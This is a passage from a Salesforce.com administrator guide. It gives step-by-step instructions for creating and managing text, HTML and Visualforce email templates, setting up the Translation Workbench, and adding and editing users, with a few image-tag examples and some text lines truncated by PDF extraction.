- Click Edit Text Version to change the content or merge fields of the text-only version.
Note: Salesforce.com recommends that you leave the text-only version blank. When you leave the text-only
version blank, Salesforce.com automatically creates the text-only content based on the current HTML version.
If you choose not to leave the text-only version blank and instead manually create a text-only version, edits to
the HTML version are not reflected in the text-only version.

• For Visualforce templates:

- Click Edit Template to change the markup of the template page.


- The Visualforce Attachments related list indicates which attachments are being generated through Visualforce markup.
- If the Visualforce markup references components in installed managed packages, such as another class, a trigger, a
custom object, and so on, the Version Settings related list shows the package versions of the installed managed packages
containing the referenced components.

• Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose
and send a test email.
• Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included
in every email that uses the template.
To select a file:

- Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other
graphic file, make sure the document is marked as Externally Available on the Documents tab so all email
recipients can view the image.
- Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a
document folder.

• If you have the “Manage Public Templates” permission, you can click [Change] next to the Author field to select a
different author. Initially, the author is the person who created the email template.
• Click Delete to remove the template.
• Click Clone to clone a template. For more information, see Cloning Email Templates on page 434.
• If “Developer Mode” is enabled, click Show Dependencies to see what components the template references. For more
information, see Understanding Dependencies on page 1513.

See Also:
Managing Email Templates
Email Template Fields
Managing Version Settings for Visualforce Email Templates

Creating Text Email Templates


To create a text email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose the Text template type, and click Next.

425
Divisions Managing Email Templates

4. Choose a folder in which to store the template.


5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description for the template. Both template name and description are for internal use only.
10. Enter the Subject for the message.
11. Enter the text to appear in the message.
12. Optionally, enter merge fields in the template subject and text body. These fields will be replaced with information from
your records when you send an email. For details about using merge fields, see Merge Fields Overview on page 414.
13. Click Save.

Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.

Attaching Files to Templates


To add an attachment to a template:
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Select a template.
3. Click Attach File from the email template detail page.
4. Choose a folder and click the document name to attach the document, or click Search in Documents and enter the file
name to search for a document by name.
Alternatively, click My Computer to attach a file from your computer.

The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links
rather than as physical files (see Sending Mass Email on page 211).

See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates

426
Divisions Managing Email Templates

Creating HTML Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change public email template folders: “Manage Public Templates”

To create an HTML email template:


1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose HTML (using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select a Letterhead. The letterhead decides the logo, page color, and text settings of your email.
9. Select the Email Layout. The email layout determines the columns and page layout of the message text. Click View
Email Layout Options to see samples.
10. Select an Encoding setting to determine the character set for the template.
11. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
12. Click Next.
13. Enter the Subject to appear in the email you send.
14. Enter the text to appear in the message you send. Click any section and begin entering text for your message. To prevent
users from editing a section when using this template, click the padlock icon.
15. Change the style of your text by selecting the text and using the format toolbar. See Using the Format Toolbar on page
431 for instructions on the format toolbar.
16. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 414.
17. Click Next.
18. Enter the text-only version of your email. This will be available to recipients of your email that cannot read HTML. Click
Copy text from HTML version to automatically paste the text from your HTML version without the HTML tags.

427
Divisions Managing Email Templates

19. Click Save.

Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.

See Also:
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
Creating Letterheads
Adding Images to Email Templates
Cloning Email Templates

Creating Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

To create a Visualforce email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose Visualforce and click Next.
You cannot send a mass email using a Visualforce email template..
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only.

428
Divisions Managing Email Templates

10. Enter the subject line for your template in Email Subject.
11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template.
12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field
data.
13. Click Save.
14. On the Viewing Email Templates page, click Edit Template.
15. Enter markup text for your Visualforce email template.
Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of t

<apex:image id="Logo"
value="https://na1-blitz02.soma.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&o
width="64" height="64"/>

16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use with this email template. Generally, you should use the default value for all versions. This associates the email template
with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version
of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you
want to access components or functionality that differs from the most recent package version.
17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue
editing your template. Your Visualforce markup must be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You cannot send a mass email using a Visualforce email template. The merge fields
{!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are
unavailable in Visualforce email templates.

Tip:

• Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you
choose and send a test email.
• To translate Visualforce email templates based on recipients' or related objects' languages, use the
<messaging:emailTemplate> tag's language attribute (valid values: Salesforce.com supported language keys,
for example, “en-US”). The language attribute accepts merge fields from the email template's recipientType

429
Divisions Managing Email Templates

and relatedToType attributes. You create custom language fields for use in the merge fields. The Translation
Workbench is required to translate email templates.

See Also:
Visualforce Overview
Managing Version Settings for Visualforce Email Templates
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Creating Letterheads
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set version settings for Visualforce email templates: “Customize Application”

To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of
Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each
managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the
components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with
specific, known behavior.
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for an existing Visualforce email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with this template.

430
Divisions Managing Email Templates

5. Click Save.

To configure the package version settings for a Visualforce email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed
package will continue to be used by the Visualforce email template if later versions of the managed package are installed,
unless you manually update the version setting. To add an installed managed package to the settings list, select a package
from the list of available packages. The list is only displayed if you have an installed managed package that is not already
associated with the Visualforce email template.
5. Click Save.

Note the following when working with package version settings:

• If you save a Visualforce email template that references a managed package without specifying a version of the managed
package, the Visualforce email template is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by
the Visualforce email template.

See Also:
Creating Visualforce Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide

Using the Format Toolbar


Use the formatting toolbar to edit text in HTML. Select the text you wish to format and click the appropriate option described
below:

Option Description
Font Choose a character style. Select the text you want applied to a font and then choose the appropriate
font.
Size Choose a character size. Select the text you want applied to the size and then choose the size.
Insert a graphic from the documents library. This option is not available when doing some actions
such as creating custom home page components.
Choose a background color

431
Divisions Managing Email Templates

Option Description
Choose a font color

Make text bold

Make text italic

Underline text

Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button,
and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of
the link, insert the merge field after the http://.
Left justify text

Center text

Right justify text

Bullet a list

Number a list

Increase text indent

Decrease text indent

Creating Custom HTML Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed


To create or change custom HTML email templates: “Edit HTML Templates”
To create or change public email template folders: “Manage Public Templates”

To create a custom HTML email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose Custom (without using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.

432
Divisions Managing Email Templates

6. Enter an Email Template Name.


7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
10. Click Next.
11. Enter the Subject to appear in the email you send.
12. Enter the HTML source text to appear in the message you send. This should include all the HTML tags.
Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of t
example:

<img
src="https://na2.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&oid=00DD0000000F
alt="Company Logo" height="64" width="64"/>

13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 414.
14. Click Next.
15. Optionally, enter a text-only version of your email. This will be available to recipients of your email that cannot read
HTML. Click Copy text from HTML version to automatically paste the text from your HTML version without the
HTML tags.
Note: Salesforce.com recommends that you leave the text-only version blank. When you leave the text-only version
blank, Salesforce.com automatically creates the text-only content based on the current HTML version. If you
choose not to leave the text-only version blank and instead manually create a text-only version, edits to the HTML
version are not reflected in the text-only version.

16. Click Save.

Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.

433
Divisions Managing Email Templates

Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.

See Also:
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Visualforce Email Templates
Creating Letterheads
Cloning Email Templates

Cloning Email Templates

Available in: All Editions


Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

Cloning an email template involves saving an existing email template with a new name. To clone an email template:

1. To manage your personal email templates, click Setup ➤ Email ➤ My Templates. If you have permission to manage
public email templates, click Setup ➤ Communication Templates ➤ Email Templates.
2. Click the name of an email template in the list.
3. Click Clone.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. Enter a Description for the template. Both template name and description are for internal use only.

434
Divisions Managing Email Templates

8. Click Save.

See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates

Adding Images to Email Templates


Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

You can include images or logos on your HTML and Visualforce email templates. For HTML with letterhead templates,
logos or images come from the letterhead you choose when creating the template.
When creating custom HTML or Visualforce templates, simply include img tags that reference the image. We recommend
uploading the images to the Documents tab and referencing the copy of the image on the Salesforce server. For example, for
HTML:

<img
src="https://na2.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000"
alt="Company Logo" height="64" width="64"/>

Visualforce example:

<apex:image id="Logo"
value="https://na1-blitz02.soma.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
width="64" height="64"/>

See Also:
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates

435
Divisions Managing Email Templates

Email Template Fields


An email template has the following fields, listed in alphabetical order.

Field Description
API Version (Visualforce email templates only) Displays the version number
of the Force.com API the template was created under.
Author The person who created the template.
Available for Use Indicates if users can use the template when sending emails.
Created By The name of the user who created the template.
Description Description of the template. This text is used as the title of
any activities logged when sending mass email. The Activity
History item displays as “Mass Email: {Template
Description}”.
Template Unique Name This is a unique name used to refer to the component when
using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Template Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.
Email Layout (HTML email templates only) Name of the column layout
sample that decides the text columns.
Encoding Indicates the character set for the email template.
Folder The place where the template is stored.
Last Used Date The most recent date that any user sent an email using the
template.
Letterhead (HTML email templates only) Name of the letterhead that
decides the logo, colors, and text settings. See Letterhead
Fields on page 422 for more details.
Modified By The name of the user who last modified the template.
Namespace Prefix The namespace prefix used by the email template within the
API.
Subject Subject of the email. This text appears in the Subject field of
every email sent with this template. It is also used as the title
of an activity logged when sending a single email. The Activity
History item displays as “Email: {Template Subject}”. The

436
Translation Workbench Setting Up the Translation Workbench

Field Description
subject is not stored in Activity History items that you log
when sending mass email.
Email Template Name Name to identify the template.
Text Body Body of the email. This text appears in the body of every email
sent with this template.
Times Used The total number of times that users have sent emails using
the selected template. This includes single and mass emails.

See Also:
Managing Email Templates

TRANSLATION WORKBENCH

Setting Up the Translation Workbench


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages: “Manage Translation”
To assign translators: “Manage Translation”
To translate terms: Users must be assigned to a profile that has “View Setup and
Configuration”
AND
Be designated as a translator

The Translation Workbench lets you specify languages you want to translate, assign translators to languages, create translations
for customizations you’ve made to your Salesforce.com organization, and override translations from managed packages.
Everything from custom picklist values to custom fields can be translated so your global users can use all of Salesforce.com in
their language.
When a customized component is translated, changes to that component are tracked and the “Out of Date” indicator is set
when the translations need updating. You can manage translated values for Salesforce.com supported languages.

437
Translation Workbench Setting Up the Translation Workbench

Note: To translate standard and custom tabs and standard field labels that you've renamed, see Renaming Tab and
Field Labels on page 792. To rename a custom object, see Managing Custom Objects.

Enabling the Translation Workbench makes some changes to your Salesforce.com organization:

• Picklist values must be edited individually. This means you can’t mass edit existing picklist values, though you can still
mass add new values.
• When picklist values are sorted alphabetically, the values are alphabetical by the organization's default language.
• Reports have a Language drop down on the filter criteria page when any filter criteria uses the "starts with", "contains",
or "does not contain" operators.
• Import files have a Language drop down and all records and values within the import file must be in that language.
• Web-to-Lead and Web-to-Case have a Language drop down before you generate the HTML.

Note: Salesforce.com assumes all customizations are entered in the organization's default language—global
administrators should work together in the organization's default language.

To enable the Translation Workbench:

1. Click Setup ➤ Translation Workbench ➤ Translation Settings.


2. On the welcome page, click Enable.

Note: The Manage Translation permission is enabled by default in the System Administrator profile and can only
be edited in a custom profile. If you'd like only certain administrators to enable, disable, or manage the Translation
Workbench, you must create a new profile cloned from the System Administrator profile, disable the Manage Translation
permission, and assign those administrators you don't want managing the Translation Workbench to the new profile.

To disable the Translation Workbench, click Setup ➤ Translation Workbench ➤ Translation Settings ➤ Disable.
Note: In a Developer organization with a managed package containing translations, once the Translation Workbench
is enabled, it can't be disabled.

See Also:
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
Administrator tip sheet: Setting Up the Translation Workbench
Localizing with the Force.com IDE

438
Translation Workbench Adding and Editing Translated Languages and Translators

Adding and Editing Translated Languages and Translators


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages: “Manage Translation”

Use the Translation Workbench to add languages that you support, activate or deactivate a language, assign translators for
that language, and enter translated terms for customizations you've made in your organization's default language.
Note: The Manage Translation permission is enabled by default in the System Administrator profile and can only
be edited in a custom profile. If you'd like only certain administrators to enable, disable, or manage the Translation
Workbench, you must create a new profile cloned from the System Administrator profile, disable the Manage Translation
permission, and assign those administrators you don't want managing the Translation Workbench to the new profile.

To add or edit translated languages and translators:

1. Click Setup ➤ Translation Workbench ➤ Translation Settings.


2. Click Add to activate a new language or Edit to change an existing supported language.
3. If adding a new language, choose a language.
4. To make the entered translations available to your users - select Active. Users can change their personal language anytime
whether or not it's active in the Translation Workbench. Selecting Active makes the translations available to the users
in that language.
Tip: We recommend you don't make a language active until the translators have translated all values.

5. To assign translators for this language, select them from the Available List and click Add. If you don't see the member
you want to add, enter keywords in the search box and click Find.
Important: Ensure all translators have the "View Setup and Configuration" permission so that they can begin
translating. Users can only translate languages they're assigned to.

6. Click Save.

See Also:
Setting Up the Translation Workbench
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms

439
Translation Workbench Entering Translated Terms

Entering Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To translate terms: Users must be assigned to a profile that has “View Setup and
Configuration”
AND
Be designated as a translator

To enter translations:

1. Click Setup ➤ Translation Workbench ➤ Translate.


2. Select the Language you're translating into.
3. Select a Setup Component. You can choose from:

• Apex Sharing Reason


• Button and Link Label
• Custom App
• Custom Field
• Custom Report Type
• Custom Report Type Column
• Custom Report Type Layout Section
• Data Category
• Data Category Group
• Division
• Layout Section
• Lookup Filter Error Message
• Picklist Value
• Record Type
• S-Control
• Solution Category
• Standard Field Help
• Validation Error Message
• Web Tab
• Workflow Task

4. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
5. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.

440
Translation Workbench Entering Overrides to Translations in Managed Packages

Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the Web services API.

6. Click Save.

See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Overrides to Translations in Managed Packages
Updating Translated Terms

Entering Overrides to Translations in Managed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To override terms: Users must be assigned to a profile that has “View Setup and
Configuration”

Translations from an installed managed package can't be translated; they are controlled by the developer. For more information,
see the Force.com Quick Reference for Developing Packages. To enter overrides to translations from managed packages:

1. Click Setup ➤ Translation Workbench ➤ Override.


2. Select the Package you are overriding.
3. Select the Language you're entering your overrides in.
4. Select a Setup Component. You can choose from:

• Apex Sharing Reason


• Button and Link Label
• Custom App
• Custom Field
• Custom Report Type
• Custom Report Type Column
• Custom Report Type Layout Section
• Data Category
• Data Category Group
• Division
• Layout Section
• Lookup Filter Error Message
• Picklist Value
• Record Type

441
Translation Workbench Entering Overrides to Translations in Managed Packages

• S-Control
• Solution Category
• Standard Field Help
• Validation Error Message
• Web Tab
• Workflow Task

5. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
6. Double click in the override column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need to be changed.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the Web services API.

7. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the Web services API.

8. Click Save.

See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Updating Translated Terms

442
User Management Updating Translated Terms

Updating Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To translate terms: Users must be assigned to a profile that has “View Setup and
Configuration”
AND
Be designated as a translator

When translated components are changed, the translated value is marked Out of Date. Translators are responsible for
keeping the translated terms updated.
For best results, have your translators check their translations frequently, and be sure to notify them when changes occur.

See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages

USER MANAGEMENT

User Management Overview


The available user management options vary according to which Salesforce.com Edition you have.

In Salesforce.com, every user is identified by a username, password, and a single profile. The profile determines what tasks
each user can perform, what data they see, and what they can do with the data.
Depending on your organization's Salesforce.com edition and the additional features your organization has purchased, you
may have user licenses—such as Marketing, Connect Offline, Sales Anywhere, Salesforce Mobile, and Salesforce CRM
Content—which give particular users the ability to access other features that are only available with a specific user license. A
user can be assigned to one or more of these licenses. You can also set up accounts for users outside your organization who
need to access a limited set of fields and objects. These user licenses can grant access to Customer Portal, partner portal, or
Self-Service. Finally, using Salesforce to Salesforce, you can create connections to share records with other Salesforce.com
users outside of your organization.

443
User Management Managing Users

As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and
creating Google Apps accounts. You can also create and manage other types of users, create custom fields, set custom links,
run reports on users, and delegate user administration tasks to other users. For more information, see Managing Users on page
444.
You can control a user's access to data at several different levels:

• To control access to applications and objects, use profiles.


• To control access to fields on an object, use field-level security and record types.
• To control access to specific records, use a sharing model.

For more information, see Securing Data Access.

See Also:
Assigning Record Types to Profiles

Managing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users: “Manage Users”
To export users to Google Apps: “Customize Application”

To create or edit users, reset user passwords, and export users to Google to create Google Apps accounts, click Setup ➤
Manage Users ➤ Users.
For more information, see:

• Adding New Users on page 445


• Editing Users on page 447
• Resetting Passwords on page 450
• Creating Google Apps Accounts on page 300
Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display.
To enable Google Apps in Salesforce.com, see Getting Started with Salesforce and Google Apps on page 294.

To create other types of users, see:

• Enabling the Customer Portal for Contacts and Person Accounts on page 159
• Self-Service for Contacts and Person Accounts on page 158
• Creating Partner Users on page 2534

444
User Management Managing Users

The user detail page shows you a list of all the users for your organization, partner portal, and Salesforce.com Customer Portal.
You can create custom list views to see different subsets of your users (see Creating Custom List Views on page 219). For
example, create a view with search criteria of “Profile Name equals Read Only” to show all users with the Read Only profile.
You can create custom fields for users and set custom links to display on the user detail page. Access these options via Setup
➤ Customize ➤ Users. For more information, see About Custom Fields on page 811 and Setting Custom Buttons and Links
on page 989.
In addition, you can use the sidebar search to search for any user in your organization, regardless of the user's status. However,
when using a lookup dialog from fields within records, the search results return only active users (see Search Overview on page
312 and Lookup Dialog Search on page 330). You can also run user reports in the Reports tab (see Administrative Reports on
page 2130).
To simplify user management in organizations with large numbers of users, delegate aspects of user administration to
non-administrator users (see Delegating Administrative Duties on page 581).
Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal
users. However, you can delegate some portal administrative duties to portal users.

See Also:
Expiring Passwords
Deactivating Users
Logging In as Another User
Granting Checkout Access
Setting Quotas for Customizable Forecasting
Assigning Users to Roles
User Fields
Editing Your Personal Information
About Customer Portal User Management

Adding New Users


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create new users: “Manage Users”

The maximum number of users you can create is determined by your Edition:

Salesforce.com Edition Maximum Users


Personal 1
Contact Manager 5

445
User Management Managing Users

Salesforce.com Edition Maximum Users


Group 10
Professional Unlimited
Enterprise Unlimited
Unlimited Unlimited
Developer 2

To create a new user for your organization:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click New User.
In Professional, Enterprise, Unlimited, and Developer Editions, you can choose Add Multiple Users to add more than
one user at a time.
3. Enter the user’s first name, last name, and email address. The email address becomes the username.
Note: If the user's name includes non-English characters, the user must add the specified language to the mail
format settings within Outlook if viewing email in Outlook.

4. Select a User License. The profiles available to you depend on the user license you choose.
Note: Some options become unavailable depending on the license type you choose. For example, the Marketing
User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts and
Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available for
Professional, Group, or Contact Manager Editions.

5. Select a profile to control what permissions the user has, for example, System Administrator.
In Professional, Enterprise, Unlimited, and Developer Editions, choose the Solution Manager profile to allow a user to
review and publish solutions. Choose the Marketing User profile to enable a user to import leads and update campaign
history via the campaign member import wizards. See Managing Profiles on page 460.
6. In Professional, Enterprise, Unlimited, and Developer Editions, select a role from the list defined for the Role field.
See Managing Roles on page 454 if you have not set up the role hierarchy.
7. In Professional, Enterprise, and Unlimited Editions, you can enable additional features by selecting one or more of the
following checkboxes:

• Marketing User
• Offline User
• Mobile User

This checkbox only displays if you purchased Salesforce Mobile feature licenses.
• Salesforce CRM Content User

Note: In Summer '10, the Salesforce CRM Content feature license is included in all organizations at no
additional cost.

446
User Management Managing Users

You will not be able to select these features if they are not supported by your user license type. Additionally, you will not
be able to save the new user record if you do not have any available feature licenses for these features.
Note: Without the Marketing User checkbox selected, users can only view campaigns and advanced campaign
setup, edit the Campaign History for a single lead or contact, and run campaign reports. In addition, you can set
the user’s profile to Marketing User to enable the user to import leads and update campaign history via the member
import wizards.

8. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send
email to the user when an application that invokes an Apex script uses more than half of the resources specified by the
governor limits. This feature can be used during Apex script development to test the amount of resources being used at
runtime. For more information, see Force.com Apex Code Overview on page 1538.
9. To set a user’s initial password, check Generate new password and notify user immediately to have the
user’s login name and a temporary password emailed to the new user.

To create other types of users:

• For Salesforce.com Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page
159.
• For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 158.
• For partner users, see Creating Partner Accounts on page 2533.

Note: You can change the license type of a Salesforce.com license, making it a Force.com license, but you cannot
change a Force.com license into a Salesforce.com license. For more details, see Viewing User License Types on page
506.

See Also:
Editing Users
Deactivating Users
Managing Users
Setting Up Your Customer Portal
Setting Up Self-Service

Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit users: “Manage Users”

To edit information for a user:

1. Click Setup ➤ Manage Users ➤ Users.


You can also edit your organization's users from the Users in Role related list in the role detail page.

447
User Management Managing Users

2. Click Edit next to a user’s name.


3. Change the necessary information and click Save. If you want to deactivate a user so that he or she can no longer access
your organization, make sure the Active box is unmarked.

Tips for Editing Users


• Users can change or add to their own personal information after they log in.
• If you change a user’s email address and Generate new password and notify user immediately is unchecked,
a confirmation message will be sent to the new email address that you entered. The user must click the link provided in
that message for the new email address to take effect. This process is to ensure system security. When generating a new
password for a user, the new password is automatically sent to the user’s email address and email verification is not enforced.
• When editing a user, you can change the user's profile from the Profile drop-down list so that he or she can perform
